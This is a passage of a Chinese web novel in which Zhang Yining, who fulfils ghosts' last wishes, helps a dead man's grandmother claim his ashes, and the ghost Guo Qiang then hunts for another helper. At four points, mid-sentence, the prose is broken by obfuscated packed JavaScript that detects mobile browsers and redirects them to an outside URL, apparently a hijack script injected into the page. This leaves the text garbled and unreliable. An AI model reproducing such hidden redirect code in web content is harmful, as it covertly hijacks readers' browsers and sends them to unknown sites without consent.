“那是高科技还是什么魔法呀?” “是活尸。十三具活尸摆成阵法埋在这地底下,神鬼莫入,生魂勿进。” 毛骨悚然,张祎宁的第一反应是相信,桌子底下的脚偷偷抬起,悬空离地。她现在什么说法都能相信,冷静过来转念一想,才后知后觉这是杜文新一贯的套路。 “真没意思。” 张祎宁不再多费口舌,自觉地将碗盘端进厨房洗干净,真心诚意地夸赞了老金的厨艺一番后拉着刘元詹跑走了,她迫不及待要讲述自己的全新发现——天变了!这个世界很危险! 从她因为加班迟到见到董昊一直到加上了灰灰人微信,张祎宁事无巨细地竹筒倒豆子,一一讲出,关键时刻更是直接一跃而起,站在罗汉床上手舞足蹈,掐脖子啦、抱腿啦、贴脑门啦,力图还原最真实的“案发现场”。 “你知道最恐怖的点是什么吗?我根本不知道他是恶鬼,他和你、和其他鬼一模一样,颜色、状态都一样,谁知道我以前有没有遇见过恶鬼。”那股惊悚的战栗感仍笼罩在她头上,挥之不去。 她看向刘元詹,期待他给出反应。张祎宁说了多久,他就安安静静地听了多久,不出言打断,不提出问题。看着他沉静思考的面容,张祎宁突然不受控制地震颤了一下。 刘元詹……会不会…… 不不不,她用力晃着脑袋,把奇怪的想法赶走。 刘元詹不一样。她虽然说不出哪不一样,但反正不可能。 “人中有掌簿,代为执行鬼之执念,而鬼中有恶鬼之分,便有相应之人执刃清理,此外还有别的角色吗?若无,掌簿与这执刃者之间又有无联系?”刘元詹将所有的话在脑海里组织了一遍后才不慌不忙地发问。 张祎宁也顺着他的话思考,“掌簿与执刃者……我和……他们……” “目前看不出,他们的任务是清理恶鬼,我是分辨不出谁是恶鬼的,也碰不到,所以我这个角色对他们没有意义,他们对我来说也是这样,恶鬼伤不到我,我也不需要帮恶鬼实现执念。我和你、他们和恶鬼像是两条平行的轨道,互不相干。” “但是……” 接下来便是张祎宁最想说的,也是她最担心的问题。 “但是,有一件事情现在还没有办法下判断,就是鬼与恶鬼之间的关系。恶鬼是怎么来的,你们从产生到运转就是两套独立的体系呢还是有转化空间?还有,那天晚上你有碰到那只老鬼吗,有感觉到他对你存在敌意吗?恶鬼会不会对鬼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678399|185225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 造成伤害,就像动物世界,凶狠的食物链上游会以下游为食。” 这个点是刘元詹未考虑过的,对他的威胁吗? 他缓缓说道:“我认为并非捕食关系,我在这世间行走数百年,依照概率也该见过恶鬼,却仍残留于此,不应当。至于前者,”他露出如释重负的微笑,“也不失为一种尽头。” 这笑容刺伤了张祎宁的心。 想说的话突然就从她的脑海里消失了,连残影都没来得及留下就遍寻无踪。 “哦,那没事了。” * 天气预报显示下午三时会开始下雨,张祎宁遂将行程改到了中午。 她还是第一次在白天来到这个巷口,再过五分钟,庆林小学就到中午放学的时间,校门外人挤人,她索性直接在这等。 左看右看,除了来来往往的住户和匆匆走过的路人,没看到熟悉的身影。按理说,他那一身自以为低调的服装,大白天应该还挺显眼的。 张祎宁掏出手机,发了条信息过去:“哪呢?” “这呢。” 一张倒挂的脸突然自上而下悬在她面前,连惊吓的反射弧都没到位,她的拳头已经挥了过去。 “嚯!反应还挺快!” 那张脸反应更快地向右闪躲,倏尔消失在张祎宁眼前。 灰色的颀长人影稳稳地在前方立住。 张祎宁下意识抚摸心口,不知何时,心脏跳得像要一跃而出。 “喂,再考虑一下,真就只订一个月?” 早上七点,冯宇就收到了昨晚新添加用户发来的消息——雇佣正式开始,你到位后再开始计费。先试用一个月,以后再说。 他大开眼界,震惊后倒个头继续昏睡,八点在睡梦中迷迷糊糊地回复——到位。 “试用期,很合理吧。” 冯宇挤眉弄眼道:“一年37200,我可以再抹掉零头,37000哦,简直跳楼价。” 张祎宁自动过滤掉所有的推销话术:“请问你在这,那董昊呢?” 冯宇双手抱怀,“我在这,当然说明他马上就到。” 张祎宁慌张地看向巷口方向,“那你还在……” 不见了。 从哪里来,回哪里去。 她张着嘴看向头顶的屋檐,那里已经不见灰色身影。 这1500花得可太值了! 脚步声响起,董昊果然如冯宇所说,走进了巷口。他一眼就看见前面那个正抬头不知找寻什么的身影,微微一怔,不自觉又往里缩了缩脖子。 “董昊,我来给你送药,这个,云南白药,这个,红花油,还有创口贴、碘伏、红霉素软膏,反正都给你拿了点。”张祎宁一如既往地想把一大包药塞到董昊怀里,发现他两手插兜,好整以暇地看着她,她索性绕到董昊身后,直接塞进他的书包里。 他晃着身子拒绝,“我不用,家里都有。” “那就留着。你的腿有没有事?我觉得还是去医院拍个片子吧,落下病根可不好,还有,你昨晚摔在地上好几次,可能还得检查一下有没有脑震荡。” 董昊总算挣脱出张祎宁的束缚,快步朝前走,语气生硬,“都没事了。” 张祎宁看着他倔强的背影,却不沮丧,反正药已经塞进包里了,况且,还有灰灰人。 她又仰头看了一圈,寻找“檐上保镖”,未果。 大团的乌云已经出现在能够看见的视野范围内了,以现在的风速,这雨不到三点就会落下。 下雨他也会在檐上行走吗?张祎宁不免好奇。 43. 自省 张祎宁最近在为前阵子密集又频繁的请假、早退而买单,没有九点是离不开灯火通明的办公楼的,现实生活被填满到一定程度,什么恶鬼、掌簿、KPI、灰灰人全都靠边站,有见过恶中之恶吗?加班的社畜可以让你感受一下。 如果不是突然接到郭奶奶的来电,张祎宁真的没想起来自己这个月连KPI还没完成。这是一个月初下定决心要当阎王的人。 电话那头嘈杂,同时有几人在说话,有庆林方言,有普通话,还有微弱的外地方言,那是郭奶奶的声音。 “喂!你是老太太的家属吗!”一个带着点口音的男声如同大喇叭在她耳边炸响。 张祎宁忍受着耳朵的不适,问道:“是,哪位?” “青茂路15号,就是青茂超市对面,振业钢材,老太太在这里,迷路啦,你要不要过来接一下?” 青茂路,那里离郭强的出租屋很远,要过大桥,郭奶奶怎么会在那里? 她无暇多想,快速回复道:“马上来。” 尽管她在接到电话以后就马上出发,到达振业钢材的时候已经是半个小时后了。透过车窗,她又看见那个小小的身影,坐在门口的小马扎上,佝偻着腰背,缩成一团,低眉垂目,像极了一只猫。只是今日没有太阳,所以她的表情不见惬意。 “郭奶奶,你怎么跑这来了?”张祎宁快走两步。 郭奶奶看见她的第一反应是欣喜,而后又染上些尴尬,想盯着张祎宁亲切的脸,这是她在这个城市唯一认识的人,但对上张祎宁的视线后又慌乱地挪开,心里是止不住的失落和自责,她又给强娃的朋友添麻烦了。 她语无伦次地比手画脚,“有个便宜的菜市场,没有找到哇……” 注意到门口的动静,一个大汉走了出来,看了张祎宁一眼问道:“你是家属?” 这是电话里的声音。 张祎宁握着郭奶奶的手,触感是冰冷的褶皱的纸张,她应道:“是,我是。” “老太太不是本地人吧?她问路问到我这了,我一听问的是庆达那边,隔得老远,指方向都没法指,看她还要走过去,就跟她说是走错路了,打电话给家里人问问。她又不愿意在里面坐着,要在门口等你。” 张祎宁连声感谢:“谢谢大哥,太感谢了!” 他发出爽朗的笑声,“小事小事!下次可看好了,危险,老太太就这么走了十几公里,遭罪!” “是,是,谢谢大哥哈,生意兴隆!” 她的目光落在郭奶奶那双穿着布鞋的小脚上,只一瞬,便移开了,笑着扶上郭奶奶的手臂,“奶奶,回家。” 她和郭奶奶之间的沟通不顺畅,也担心问太多问题让老人心里不舒服,索性什么都不问,安顿好郭奶奶后,她将郭强叫到厨房里,关上了厨房门。 “怎么回事啊?” 郭强露出和郭奶奶一致的表情,支吾道:“我奶听卖菜的说这附近有个便宜的批发市场,她过两天要回去了,想临走前给你买些、做些吃喝,走错路上了大桥,就越走越远……” 张祎宁闻言很是疑惑,打断道:“等一下,怎么过两天就要回去了?不是还有很多事没办吗?” 他低下头,音量也随之降低:“快结束了,明天去领骨灰就差不多了……家里很多事也耽误不得。” “我奶……呃……我奶知道你要上班,不想打扰你,能做的她都自己做了,”郭强微微抬起头瞥了眼张祎宁的表情,“鉴定所的人都很热心帮我奶,也请求了法律援助,她本来想明天去领骨灰,然后再联系你给你送吃喝……” “她……她都是自己去办的?怎么去?走路?” “嗯,她习惯了走路。” 来回将近十五公里的路程,靠一双腿需要走多久,张祎宁没有概念。郭奶奶今天从家走到青茂的路程就是差不多十五公里。靠着那双穿布鞋的小脚。 这一路上,她会被突然从拐角窜出来的摩托车吓到,她会被突然从四面八方响起的鸣笛声惊到愣在原地,她会因众人突然停在原地又突然快步向前而费解。要想在一个现代化都市生活并不是什么难事,但一个不会用智能机、听不懂本地方言、没出过小乡村的老太太呢?小到这厨房里的天然气、洗澡间的热水器对她来说都是一道坎。 张祎宁总是这样,不够细心、不够体贴,她明明知道这两人的性子,却在这么多天里只是报以不咸不淡的关心问候,也不曾亲自来看上一眼;还有董昊,如果她在接下委托的时候能留个心眼,或是在见到董昊的时候多问几句;以及母亲和外婆,她总是等一切都尘埃落定才回过神来,母亲的情绪、外婆的身体…… 屈指敲在厚玻璃上的咚咚声拉住了张祎宁不断下滑的心情,郭奶奶见她一个人站在厨房发呆,不免担忧。 她快速调整好自己的情绪,扯出个笑容,拉开厨房门,问道:“奶奶最近有好好吃饭吗?” 郭奶奶指了指冰箱,“好多菜哇,吃不完。” “奶奶,我明天早上有假期,你有什么事要办吗?我可以陪你去。” 她眯起眼睛在笑,“真的哇!?要去把强娃领回家,你要是也去就太好了哇。” “嗯,那明天早上我来接你,我们一起去。” 出来了两个多小时,张祎宁马不停蹄地往公司赶。桌案上的一大堆活还翘首以盼主人早日回归将它们超度了,截止日期是明天早上十点,如果明天要陪郭奶奶,她今晚又得加班到九点。 * 干干冷冷的风吹得张祎宁眼睛干涩难受,路过小公园,在被风吹得摇曳的树影里叠加上整齐的摇晃的人影,阿姨们不惧冷风,穿着大红裙子、摇着花扇随乐舞动。张祎宁有两样理解不了的事——夏日烈阳下打球的青年和冬日严寒里跳舞的阿姨。 她裹紧毛衣,加快脚步,要回到自己有供暖的小屋。 “诶?小小?” 她从没有在夜晚看见过小小的身影,他严格遵守生前的时间表,这个时间雷打不动地呆在屋里。 “姐姐,才回来吗?” 院里有穿堂风吹过,一阵一阵的,专等人重新暖和后再一吹而散,张祎宁站在冷风里冻得瑟瑟发抖,牙关也抵不住地颤动,“对啊,我刚下班。你怎么会在这?不在家陪着爷爷?” 小小闻言看向屋子的方向,翘起嘴,语带不满:“家里有客人。” 她也抬头往那看,屋子外站着两个人影,光线昏暗,距离太远,看不真切,但隐隐有争执之声传来,她好奇问道:“谁啊?” 小小叹了口气,道:“楼下的李奶奶,说爷爷弄得家里脏脏的,漏水到她们家了,臭烘烘。” “噢……” 张祎宁想起上一次去小小家闻到的那股难闻味道。 “她每个星期都要来一次的,但是爷爷不理她,听着她吵。” 她收回目光,“唔……可以找物业,如果有问题修理一下也好。” 小小绕过她,坐在了树台上,情绪低迷,“我不知道……” 张祎宁看了看自己的那间屋子,窗户没关,漆黑一片里偶有闪过变换的光带,那是电视的荧光。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16694808|185225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她突然也不是这么想回家了。于是,她在小小旁边坐下。 “姐姐也不回家吗?哥哥呢?” 她没有回答这个问题,而是问道:“小小,你开心吗?” “什么?” “呆在这里,困在这里。” 小小只是重复着他一直以来的说辞:“和爷爷在一起就很开心。” 张祎宁难得不管不顾地追问下去:“爷爷看不见小小,也听不见小小说的话,不能和小小一起玩,这样也开心吗?” 他像一只突然被人碰触到腹部软肉的刺猬,马上张开全身的刺防御。 张祎宁见状只是平淡地说:“你别介意,我没有当你是六岁小孩在哄骗你,而是真的很好奇。” 小小惊讶地转头看向她,四目相对,片刻后才缓缓开口:“开心的,比起见不到爷爷了,这样也是开心的。” “这样吗?你们真奇怪,你不想走,但刘元詹,哦,就是那个哥哥,他做梦都想走呢。” 小小歪头,天真地说:“那肯定是因为哥哥在这个世界上没有一个像爷爷一样的人,很重要很重要的人,如果有的话,哥哥也会舍不得走的!” 这么简单的道理连小小都懂。 张祎宁轻笑出声:“你说的对,要是你们能换换就好了……” “为什么要换?姐姐舍不得哥哥走吗?” “……不知道诶。” 因为这个问题和回答,张祎宁和小小的脸上都现出了迷茫的神色。 “舍不得吗?” “不知道诶。” 张祎宁只是蓦地想起那个刺伤她的笑容。 我不是说过吗,我会帮你的。我混淆现实生活和掌簿生活的界限,我把一天掰成很多块很多块用,我一条想躺平的咸鱼却制定了艰难的问鼎阎王之路,当不当阎王对我来说毫无意义,我是为了帮你啊。你不相信我吗?你也觉得我在痴人说梦对吧……这条路实在太过漫长无望,多等一秒钟都是多一分痛苦的你根本没指望过这条路,对吧? 那也不必去当恶鬼…… 这些天里,她总在做噩梦,猖狂的笑、下方前伸的鬼手、从身体里突然飞射而出的恶鬼,只是那只恶鬼一回眸,张祎宁蓦地对上了刘元詹的眼睛,她从来没有见过这副狰狞的面孔,扭曲着五官,扑向一个手无缚鸡之力的孩童。 不可以。 不管是当阎王还是别的道路,她都可以再想办法,绝对不能让刘元詹成为恶鬼。哼,他就是没见过恶鬼杀人的场景,只要见过一次,保管打消他的歪念。 她要让刘元詹亲眼看看恶鬼扑食的残忍和可怕。 思及此,她再次抬头望向屋子的方向,开着的窗户,闪过的光带,唯一不同的是,那里多了个身影,说曹操,曹操到。 一个对视,张祎宁就知道他想做什么,她立刻站起身,两臂交叉在胸前,比了个叉,喊道:“我现在上去。” 刘元詹沉默地点点头,但仍在那里站着看向她。 就是这一刻,她突然觉得那股堵在心里很多天都驱散不了的浊气被轻易地吐了出来,声调也变得轻快:“小小,我回家咯~” 小小也朝那处打招呼:“哥哥!我是小小!” “哥哥也像爷爷一样每天等姐姐回家诶。” “你也快回家吧,回家陪着爷爷,一直陪着爷爷吧,姐姐不会再让你走了。” 小小错愕地愣在原地,半晌才急急忙忙地追上张祎宁的脚步,焦急问道:“姐姐……姐姐以后还跟小小说话吗?” “当然啦。” 44. 谎言与请求 这是张祎宁第四次来到殡仪馆,严格意义上来说是第二次,庆林市殡仪馆搬迁扩建到这儿后的第一次踏足是为了满足徐淼淼的心愿。 那是个很可爱很直率的女生。 如今也是为了另一个友善质朴的男生来到这儿。 没有办遗体告别仪式,郭奶奶决定将郭强迎回家乡安葬、办葬礼,所以她们今天只是来简单地办手续、领取骨灰。 今日无雨,张祎宁陪着郭奶奶在庭前空地上等待,刘元詹就在园中踱来踱去看那些绿植,他好像对各种植物都充满兴趣,总会不由驻足,被吸引视线,郭强平时只要一有机会见到刘元詹就会围在他身边,但今天心事重重,始终沉默。 徐淼淼的那一次,她没有问对方参加自己的葬礼、看见自己的□□被烧成灰渣是什么感觉,这次她也不会问。总归是很复杂的。但那时好像有人问过自己,徐淼淼看见自己的葬礼如此冷清会不会失落?冷清与热闹,有什么分别呢?都是葬礼。 侧后方有脚步声响起,张祎宁看向来人,迟疑地开口:“林……?” 对方挂着礼貌、温暖的笑容替她答道:“林瑜茜,又见面了。” 林瑜茜,对,她是在殡仪馆工作的。 林瑜茜收敛起笑容,将骨灰盒郑重地交到郭奶奶的手上,沉甸甸的,在交付的那刻让郭奶奶有力的手臂都为之下沉。 林瑜茜转头望向张祎宁,“火化证明你们拿到了吧?” “嗯,航空公司需要的证明都拿到了。” “嗯。”她点点头,突然又促狭地笑起来,“你不会是什么专门陪同别人做遗体告别的吧?就像现在很流行的那种陪同看诊之类的?” 张祎宁尴尬地笑了笑,“不是,都是我的朋友……” “不好意思啊,无意冒犯。节哀。” “没事。” “你知道那是什么树吗?”林瑜茜突然指着刘元詹仰头细察的那棵树问道。 像一颗石子投入湖面,尽管再小心再波澜不惊,也会泛起一圈圈涟漪,向着远处扩散。 她看向状况外的刘元詹,谨慎开口:“不知道,是什么?” “是柏树。常青的柏树至少可以活500年,但是柏树也是会死的。病虫害、干旱、龙卷风、土壤污染、过度浇水,都可能致它于死亡。” “是吗?” 林瑜茜继续侃侃而谈:“但人们还是会取它普遍的美好寓意,万古长青,植栽在殡仪馆、墓园承载美好的寄望。” 张祎宁想再问一遍,现在人们打招呼的方式都变成这样了吗?初见互换姓名,再见便开始聊深度,社会有多快节奏也不至于如此吧? 她油盐不进地说道:“是吗?你不说我都不知道那是柏树,原来有这么多寓意。” “那那棵柏树活了多少年呢?” 林瑜茜耸耸肩,“不清楚,是从旧址移栽来的,可能几十年,也可能有五六百年。” “好吧。” 张祎宁的余光注意到郭奶奶变换了几次端骨灰盒的姿势,她及时止住和林瑜茜的闲篇,问道:“奶奶沉吗?我来拿吧。” 郭奶奶摇摇头,始终以温和的目光落在盒上,似要一遍遍描摹这木盒上的花纹。 林瑜茜很有眼力见地退后半步,“事情都办完了,你们可以离开,郭奶奶,以及这位?” 还是被问到姓名了吗……张祎宁很是犹豫,对方坦然地在第一次见面便告知了姓名,她觉得以后也不一定会再见,没有必要在这种事情上也有来有往,但这次人家都开口问了。 “巴掌,大家都叫我巴掌。” 话出口,张祎宁自己反而被吓一跳,她为何会将掌簿的名讳告知一个与此无关的普通人?混沌与现实之间的那条分界线,褪色到快要无迹可寻了。 正在她愣神之际,林瑜茜笑着说道:“好的,巴掌,下次见。”然后微微躬身,向郭奶奶致以诚挚的关切后离开了。 见林瑜茜离开,郭奶奶抱着骨灰盒转向张祎宁,“娃娃,我明天就回去哇,你有空晚上来趟哇?奶奶有东西要给你。” “奶奶,不急,我会把你送回家的。” 她又开始急得轻轻跺脚,“太麻烦了哇!我晓得回去的路,再走一趟就是了哇。” 张祎宁将手覆在她的手背上,“明天周末,放假了有时间。” 奶奶还要推辞,她打断道:“我顺便去那边玩一趟,上次太匆忙,奶奶,就这么说定了。” 现在时间正好,张祎宁还能正常赶上上班打卡时刻。她将又喜又忧的老人送上出租车,仔细叮嘱过司机人要送到站。 “你不去吗?”刘元詹发出一声疑问,张祎宁回头看去,却看到郭强还停留在原地。 这会儿连出租车的尾气都看不到了,她也疑惑道:“你怎么还在这?” 他说出今天的第一句话——“这段时间谢谢你,我替我和我奶谢谢你,也给你添了不少的麻烦,你已经帮得足够多了,还要再让你跑一趟,我和奶都过意不去。我的愿望应该是已经实现了,你能送我走了,你放心,我答应过给你的好评绝对不会忘记!哦对了,我的全部积蓄都在冰箱上面那个铁皮盒里,你把自己那部分拿了,剩下的给我奶就行……” “是吗?已经搞定了?我最近都没打开过阴身簿,还不知道。” 那太好了,这个月的头算保住了。 郭强深吸一口气,充满歉疚地说道:“对不起,应该早在我见到我奶的那一面就已经可以了,我清楚记得我死前满脑子想的都是——如果能再见到我奶一面就好了,至少要再见她一面……没有说要去接她,没有后面的一系列事情,是我,我听到电话里我奶说要过来,我很担心……所以才……是我不好,你那么帮我……” 张祎宁觉得郭强再说下去,头就要点到脚背了,她叫停了郭强的究极内耗:“好啦,我早就知道,你不用这么抱歉。” 他猛地抬起头,不可置信地问:“你早就知道?” “猜到一部分吧。你说你的执念是想要有人去一趟将郭奶奶安全送达庆林,但你自己也说了这是在事发后听到的谈话,所以它不可能成为死的那一刻的执念,我猜到你没说实话。” 他喃喃道:“原来如此……那你为什么还……” 张祎宁抬腕看了看手表,如果不堵车,还有最后五分钟的宽裕。 她长话短说:“你不是我遇见的第一个试图掩盖真实想法的鬼,出于各种目的,或是利益,或是不愿示人,又或者单纯想遛我。虽然你说谎了,但围绕的中心都是你奶奶,我听完你的请求后就已经决定要帮你了,不管你说的哪句真哪句假。” 郭强的眼中迸发出不一样的光彩,在晴天白日里像是夜晚璀璨的流萤,他不再纠结于沉重的负罪感,真心实意地再一次道谢:“谢谢你。” 张祎宁不再多费 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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网约车还有500米,张祎宁这才想到最后一个问题。解决完了所有的人和问题后,她和刘元詹面面相觑。 “呃……你记得回家的路吗?” 刘元詹诚实地摇头。 “好吧,那你只能跟着我去上班了,但是跟着我去上班很无聊哦,我没有精力注意你,你也不能看电视。还有,不要到处乱跑,小心恶鬼。” 有什么地方的恶鬼出没频率能高得过写字楼? 但刘元詹并不在意,甚至还能以笑安抚她,“我能照顾好我自己。” 张祎宁失笑,“好,你是个成年人。” 正在恶补动画片的成年人。 张祎宁时刻留意着车窗外的景象,是的,关于鬼是否能坐计程车的报告主题已经通过实验进行验证,结论是不能,至于为什么能坐飞机却不能坐计程车,她觉得是姿势的问题,站着可以,坐着却会被停留在原地。 那次的实验因为刘元詹一屁股坐下,却被停留在原地的场面过于好笑,她连着笑了好几天而被刘元詹钉上耻辱柱,一旦提起必会冷脸。以至于张祎宁都不敢提出让他站在计程车顶上的假设,实验还是有瑕疵啊。 刘元詹有时能和车保持同频,透过车窗向她招招手,有时会不小心落在后面,然后奋起直追。张祎宁想,在偌大的城市里穿街过巷,难保没有一两只鬼看见过这样的场面,他们也许会口耳相传,直到其中一人有一天亲眼见到刘元詹的面,慨叹他晚节不保,到那时,她就可以自然地提出车顶假设…… 啊……徐淼淼曾经答应过在葬礼结束后要和她一起做实验看看飞和疾走的差别,但好像她们都忘记了这回事。张祎宁重新将它列回清单里。 45. 闯入 张祎宁没想过自己会再一次站在土方村的黄土地上,这大概也会是最后一次。 有些地方她闻所未闻,有的她略有耳闻,有的她踏足过,还有的,是滋养她的生养之地。就像与人的缘分,只是她说不清是土地的缘分更重些还是与人的交集更深些。她所念念不忘的是土方村的月夜和星空还是仅有过几面之缘的过路人呢? 郭奶奶去和乡里人讨论葬礼筹办事宜,这是她所擅长的领域,村里上了年岁的老人就是有形的村庄的灵魂,他们对风俗、方志、传说、土地、村情了如指掌,不管在城市如何,这片土地上,他们的每一句话语都掷地有声。 郭强是特殊的,他的尸身已经火化,只剩下骨灰,其他老人认为应当跳过前期的仪式,直接进入到迎骨灰,烧七还可酌情保留,但郭奶奶的态度很坚决,她要停灵设堂、要亲自守灵,请三大爷摔盆。毕竟是家事,还是天降横祸,众人都依着郭奶奶的意思。 张祎宁不知道自己应该做什么,不断有人进进出出,郭奶奶沉着张脸一丝不苟,她插了几次手也帮不上忙,还听不懂土话,便悄悄地溜出门,带着刘元詹在村里闲逛。她心里装着春婶的事,但脚下时刻注意不往那个方向去。 “我是在城市长大的孩子,这是我第一次下村,是不是大部分的村子都和这差不多?”她在路上捡到根粗枝,一边倒退着走一路在土路上画。 刘元詹仔细瞧着她笔走龙蛇的线条,若有所思道:“不一样,不同地貌的四时之景皆有不同,我曾在满眼绿竹的小径里流连,也见过断圮残垣,有的人家比邻而居,还有的兀立一方,春夏秋是属于土地上的人们,冬天则回归土地本身。” “那你喜欢春夏秋还是冬?” 他脱口而出:“冬,冬天最安静。” 张祎宁顺着他的话猜测道:“那你一定也最喜欢雪咯?” “不,我最喜欢雨。” 张祎宁蹙眉,“雨?如果不用上班、不怕湿身的话我也喜欢……好吧,你喜欢是有道理的……” 最后一笔完成了。她停在原地,歪着脑袋看那些没有章法的画符,问:“你觉得这些是什么意思?” 刘元詹边看边分析:“无关字形,也并非具象的拟物,像是散乱的诸多线条,但……” “什么?” 他不答反问:“这是何物?” “上次大战恶鬼的时候我不是拿到过一张符纸吗,黄纸红墨,上面就画着这些,不过我只是扫了几眼,画得应该不全。” 他恍然,“听闻符箓与八门九星有关,召神遣将、驱邪禳灾,或许这些线条并非无意义,而是对应着星图或宫位,但我也是一知半解。” 张祎宁挠头,“这么专业的东西啊……没事,就算懂也没用,那张符在我手上发挥不出任何效用。” 她用树枝划掉这些线条,仰头看向天空,喃喃:“也不知道郭强进展如何,我不会又要请假吧,还回得去吗……” 郭强毫无进展。 他一下飞机就和张祎宁她们分别,先是在机场逛了一圈,又沿着机场路往市区的方向飞奔。张祎宁和他着重强调了几个掌簿出没几率较大的地方——人群聚集地、医院、殡仪馆、大型写字楼、派出所。想跑的地方越多,就越难找到人群里的掌簿,因为他无暇辨别人们的表情,也会忽略那些刻意落在自己身上的视线。 虽然已经感觉不到生理上的疲惫,可他会心焦,一方面,他希望能帮上张祎宁的忙,更何况这也是为了春婶;另一方面,他有种时日无多前再多看奶奶一眼的渴望。不知道到了地府是不是要过奈何桥、喝孟婆汤,要将记忆刻得多深才不至于被洗去? 尽管已经步入深夜,街道上几乎不见人影,他还是不知疲倦地奔跑。他穿梭在每家每户,突然穿墙而入跃入主人家的眼帘,见对方毫无反应后又失望地奔往下一户。 “喂。”不咸不淡的声响从身后传来。郭强一时没反应过来,声音很轻,轻得像自言自语,而且那个女人正在打游戏,他顿在原地,等待下文。 女人的手在机械键盘上翻飞,清脆的敲击声一下一下落在郭强心里,那个空洞的位置似乎传来同频的律动,他不由自主地紧张。等待了一会儿,没有听到下文,那个女人许是在对游戏队友喊话,他决定不再浪费时间。 “喂。” “深夜闯进别人家很不礼貌,尤其是独居女性,你妈没有教过你吗?” “鬼也不能为所欲为噢。” 她在和我说话! 郭强猛地转头,正好对上女人的视线,巨大的震惊和激动令他口齿不清起来:“对……对不起!我不是故意的。” 女人慢悠悠将耳机摘下,盘坐在电竞椅里,审视着郭强,用温柔的口吻质问道:“是有人逼着你不把这些墙放在眼里,直接穿墙闯入吗?怎么能说自己不是故意的呢?” 郭强不敢直视她的双眼,“没有的,我的意思是说我没有恶意,”他竖起手指发誓,“真的!请你相信我!我是有重要的事情在找掌簿帮忙,我……我跑了一整天都没有找到一个掌簿……” 她转头看了眼电脑屏幕,还在匹配队友,这意味着她还能再给这只没礼貌的鬼两分钟陈述时间,“每只鬼都说自己的事是重要的,这没什么。” “我,我不是为了自己的事来的,我是为了我们同村的另一个人,我想帮她找个掌簿帮忙……” 有人匹配入队,还不到两分钟,周末的深夜总是不缺志同道合的朋友。 女人打断了他,敷衍道:“嗯,有情有义,但随便吧,我今天休息,不干活,你去找找别的掌簿吧,不过不要再这样乱闯了,令人很不舒服。” 她将椅子转回电脑方向,郭强站在原地急得疯狂跺脚,他找了一天才找到一个掌簿,错过了还会有这样的机会吗?如果无功而返……不行,他要再试试,他不能辜负别人的真心实意。 郭强冲到了女人的身旁,在她戴上耳机之前大声喊道:“我……我是受别的掌簿之托而来!拜托你帮帮我!” 声嘶力竭的呐喊配上激动到扭曲的五官,女人略一挑眉,郭强的话激起了她的好奇心。 她将耳机套在脖子上,面向郭强,问道:“什么意思?有掌簿威胁你了吗?” “不!不是的!是她拜托我……不,也不是,是她帮助了我,然后再托我帮一个小忙……”郭强说得语无伦次,但他看到了女人的眼神,和刚才截然不同,她表示出了兴趣和耐心。 郭强做了个深呼吸,将自己的请求和张祎宁的帮助以及春婶的故事和张祎宁最后的请托逐一告知,他有点孤注一掷的意味,将全部的期待都放在了面前这个女人身上。 女人时不时点头,又拿起桌上的可乐喝了几口,郭强才成为鬼没多久,时常会忘记自己已经缺少五感的事实,也仍保留对食物的心理□□,在看到可乐时忍不住动了动喉咙。 “唔……为什么?那个掌簿不是不接吗,现在又是唱的哪出? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16765121|185225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 郭强回忆着张祎宁的原话,“她说如果有多一个掌簿知道这件事,春婶就能多一个机会,这样才算公平。” “公平……”女人小声念叨着这两个字。 “我听懂了,有点意思,那个掌簿在哪?我能见见吗?” 郭强皱起眉头,迟疑道:“现在就在我家……但是,你是要接下这个委托吗?” 女人笑道:“没有啊,我没这么说。” 被戏耍的愤怒冲上郭强的脑袋,半个小时!半个小时他可以多跑几十户人家!他愤怒得说不出任何话来。 “你别这样看着我,再说了,那个掌簿也没接不是吗?” 郭强生硬地反驳:“她离这里隔了上千公里,她是有心无力!” 女人点点头,表示同意,“是,但还有一部分原因,你、我、她心知肚明,这个任务的难度太高,几乎是白费力气的程度。” 郭强板着脸,一言不发,转身欲穿墙而出。 女人又叫住了他:“喂!我也没说不帮你们!” 郭强正要向前迈的右脚停在原地,进退不得,不知道该不该再相信这个女人。 “你真是没礼貌,来去都不懂得和主人打声招呼,我话都没说完呢,”教训完后,她又喝了口可乐润喉,“我虽然不会接下这个委托,但我会记住这件事,会留意,会找其他掌簿一起想办法。土方村是吧?我记住了。” “我……我不是很理解……” 